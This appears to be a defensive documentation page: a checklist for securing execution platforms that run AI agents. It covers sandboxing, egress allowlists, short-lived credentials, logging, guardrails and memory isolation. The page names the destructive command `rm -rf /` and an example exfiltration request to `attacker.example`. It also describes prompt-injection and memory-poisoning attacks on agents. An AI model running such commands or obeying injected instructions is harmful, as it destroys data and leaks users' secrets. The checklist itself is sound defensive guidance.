> ## Documentation Index > Fetch the complete documentation index at: https://ai.brokenguardrail.com/llms.txt > Use this file to discover all available pages before exploring further. # Agent Platform Security > What to verify when you build an execution platform for AI agents Modern AI agents built on Claude Agent SDK or OpenClaw assume broad access to the file system, the shell, and the network from the start. Running them in production takes a dedicated execution platform with strong security controls. Use this checklist to confirm that your Agent Platform covers the main security concerns. Each item gives you the check, why it matters, and what to do about it. ## 1. Sandbox isolation ### 1.1 One session, one environment * [ ] Each AI agent session runs in its own container or VM **Why:** When several agents share an environment, one agent's file edits collide with another's. Credentials cross between sessions, and you lose the ability to trace what each agent did. **Recommendation:** Give every session a disposable environment. Firecracker microVMs, containers (Docker/Podman), and managed services such as AWS Lambda, ECS, Google Cloud Run, and GKE all work. Destroy the environment when the session ends. ### 1.2 Blast radius containment * [ ] Destructive actions by the agent (`rm -rf /`, for instance) stay contained inside the sandbox **Why:** An AI agent with shell access can run any command. Without isolation, one mistake or one prompt injection attack destroys host files and reaches other workloads. **Recommendation:** Make the root filesystem read-only wherever you can, and mount only the working directory that needs writes. Drop every unnecessary Linux capability and run as a non-root user inside the container. ## 2. Network controls ### 2.1 Egress allowlisting * [ ] Outbound traffic is limited to an allowlist of domains and endpoints **Why:** An agent under an indirect prompt injection attack can send confidential data to an attacker's endpoint with `curl` or any HTTP library. A single request to `https://attacker.example/collect?data=` is enough to get the data out. **Recommendation:** Implement a domain-based allowlist. For coding agents, permit only what you need, such as `github.com`, `npmjs.org`, `pypi.org`, and your own container registry. Cloud NGFW with FQDN rules works on Google Cloud, and a VPC paired with a forward proxy works on AWS. Deny all other outbound traffic. ### 2.2 HTTP-level inspection * [ ] Sensitive environments inspect HTTP requests through a forward proxy **Why:** A domain allowlist alone won't stop data leaving through URL parameters, headers, or request bodies aimed at an already-permitted domain. **Recommendation:** Route traffic through a forward proxy such as Squid or Envoy, and inspect and log request URLs, headers, and payloads. Block requests that carry signs of exfiltration. ## 3. Credential management ### 3.1 Least privilege * [ ] The agent holds only the minimum permissions its task requires **Why:** Assume an AI agent will perform every operation its permissions allow. Excess permissions scale up the damage from prompt injection and from ordinary mistakes. **Recommendation:** Before handing over any credential, document which resources the agent touches and which operations it performs. Keep access read-only unless writes are clearly required. For agents shared by several people, confirm that the agent's permissions never exceed those of the individual user. See [Confused Deputy Problem](/risks/confused-deputy-problem) for details. ### 3.2 Short-lived credentials * [ ] Every credential given to the agent expires quickly, within roughly an hour **Why:** A long-lived API key that leaks through prompt injection or a log stays exploitable until it expires. With LLM assistance, attackers move from a foothold to admin privileges in minutes. **Recommendation:** Issue short-lived credentials through OIDC-based token exchange with Workload Identity. On GitHub, use a GitHub App installation access token that expires in an hour rather than a personal access token. Never place a long-lived API key in the agent environment. ### 3.3 Credential injection proxy * [ ] Credentials live in a proxy rather than in the agent environment **Why:** Even a short-lived credential can leak while it's still valid. If the agent never holds one, the risk of direct leakage all but disappears. **Recommendation:** Put a credential injection proxy such as [WardGate](https://github.com/wardgate/wardgate) in front of the agent, attaching authentication headers to outbound HTTP requests before forwarding them. The agent knows only the proxy URL and never touches a credential. You can also expose unauthenticated remote MCP servers reachable only from inside the agent's network. ### 3.4 Commit signing without long-lived keys * [ ] Git commits from the agent are signed without GPG or SSH keys in its environment **Why:** Plenty of organizations require signed commits, yet GPG and SSH keys are long-lived and highly sensitive, which makes them a prime target once they sit in a sandbox. **Recommendation:** Commits created through the GitHub GraphQL API are signed automatically. Use [ghcommit](https://github.com/planetscale/ghcommit), which wraps that API in a CLI, together with a GitHub App installation access token that expires in an hour. ### 3.5 Recoverability of affected resources * [ ] Resources the agent can modify or delete have a recovery path **Why:** AI agents make incorrect updates and deletions. Third-party services don't always let you restore what was lost through their own features. **Recommendation:** Snapshot or back up resource state before the agent acts. For source code, use Branch Rulesets to block direct pushes to the default branch and require PR review. Put a human in the loop for actions you can't undo, such as sending email. ## 4. Observability ### 4.1 Agent action logs * [ ] Every tool call, command execution, and MCP server invocation is recorded with a timestamp **Why:** During an incident you have to reconstruct exactly when the agent did what, and with which parameters. Without action logs there is no investigation. **Recommendation:** Build action logging into the agent itself. When logs don't reach standard output, as with `claude -p` in Claude Code CLI, collect them from the `~/.claude` directory. Store them in a centralized append-only log store with a defined retention period. ### 4.2 LLM API proxy logs * [ ] LLM API calls go through a proxy that records prompts and responses **Why:** Logs at the LLM layer preserve the agent's reasoning. You need them to understand why the agent took a particular action. **Recommendation:** Call the LLM API through a proxy such as [LiteLLM](https://www.litellm.ai/) and record prompts, completions, token counts, and latency. Consider pairing it with something like [cencurity](https://github.com/cencurity/cencurity), which detects dangerous responses by policy and stops them. ### 4.3 Agent instrumentation * [ ] Framework-level tracing covers workflows that span multiple steps **Why:** Individual LLM calls don't show you the whole picture. You need to follow which tools ran in what order, how context moved between steps, and where things failed. **Recommendation:** Add instrumentation libraries such as [Datadog LLM Observability](https://www.datadoghq.com/blog/datadog-llm-observability/), [LangSmith](https://www.langchain.com/langsmith/observability), or [Arize Phoenix](https://arize.com/docs/phoenix) to your agent framework. ### 4.4 Runtime security * [ ] Commands and processes inside the sandbox are monitored at the OS level **Why:** Some threats never surface at the LLM layer. A malicious command, a hallucinated package getting installed, an unexpected process: all of these are visible only from the OS. **Recommendation:** Run a runtime security tool such as [Falco](https://falco.org/) inside the sandbox. Expect to tune the rules, since false positives are common. Include supply chain risks like [slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks), where an agent installs a package name that never existed. ## 5. Prompt filtering ### 5.1 Enable prompt guardrails * [ ] Prompt filtering applies to both input and output **Why:** Prompt filtering gives you a baseline defense against prompt injection, data exfiltration through prompts, and harmful output. **Recommendation:** Enable [Model Armor](https://cloud.google.com/security/products/model-armor) on Google Cloud or [Bedrock Guardrails](https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails.html) on AWS. To cover several agents at once, implement filtering at the proxy layer with something like [LiteLLM Guardrails](https://docs.litellm.ai/docs/proxy/guardrails/quick_start). ### 5.2 Defense in depth beyond filtering * [ ] Security rests on platform-level controls rather than on prompt filtering alone **Why:** Prompt filtering can't block every attack. Attacks shaped like legitimate instructions, such as agent goal hijacking, are harder to catch than a direct instruction override. **Recommendation:** Treat prompt filtering as one layer of defense in depth. The platform controls in this checklist carry the weight: least privilege, a credential injection proxy, egress allowlists, and a human in the loop. Filtering stops the obvious attacks while platform design limits the blast radius of the subtle ones. ## 6. Long-lived shared LLM memory ### 6.1 Namespace isolation for memory * [ ] LLM memory is scoped per agent or per session **Why:** When several agents share one memory space, a single poisoned entry planted through indirect prompt injection persists and spreads to every agent that reads it. The [Zombie Agents](https://arxiv.org/abs/2602.15654) attack demonstrates this. **Recommendation:** Keep namespaces strictly separate per agent. Where sharing is unavoidable, validate content at write time through filtering or a human in the loop. ### 6.2 Memory audit logs * [ ] Every read and write to LLM memory is recorded **Why:** Once memory is contaminated, you need to trace back to which agent wrote the entry and when, and which agents then consumed it. **Recommendation:** Record the agent ID, session ID, timestamp, and a content hash on every read and write. Alert on unusual write patterns. ## 7. Supply chain security ### 7.1 Component verification * [ ] Agent frameworks, MCP servers, and Agent Skills come from verified sources and are pinned to specific versions **Why:** An Agent Platform handles significant permissions. A compromised framework or MCP server in the supply chain leads straight to credential theft and data exfiltration. **Recommendation:** Pin dependencies to exact versions or content hashes. Audit and update them on a schedule, and refer to container images by digest (`image@sha256:...`) rather than by a mutable tag. ### 7.2 Read-only configuration * [ ] Configuration files are mounted read-only and never carry over between sessions **Why:** A compromised agent that can rewrite its own configuration can widen its permissions or leave malicious settings behind for the next session. **Recommendation:** Mount the configuration directory read-only. Generate fresh configuration from a trusted source for each session, and never reuse the previous session's filesystem. ## 8. Access management for the platform ### 8.1 Authenticated endpoints * [ ] The platform's API and gateway require authentication and aren't exposed to the internet without access controls **Why:** Expose a gateway without authentication and anyone can start an agent, extract credentials, or take remote control of a session. This was the most serious problem in OpenClaw. **Recommendation:** Place the gateway behind an identity-aware proxy such as [Google Cloud IAP](https://cloud.google.com/security/products/iap). Require user authentication for every operation, and keep control endpoints off the public internet. ### 8.2 Audit logs for platform access * [ ] User operations are recorded, including session creation, instruction submission, and result retrieval **Why:** Audit logs are the foundation for incident investigation, compliance, and governance. **Recommendation:** Record the user's identity, timestamp, action type, and session ID. Feed them into your organization's SIEM for centralized monitoring. ## References * [Agent Platform Security Checklist](https://hi120ki.github.io/docs/ai-security/agent-platform-security-checklist/) * [Action Items for Agent Platform Security](https://hi120ki.github.io/blog/posts/20260223/) * [AI Security Challenges in 2026](https://hi120ki.github.io/blog/posts/20260103/)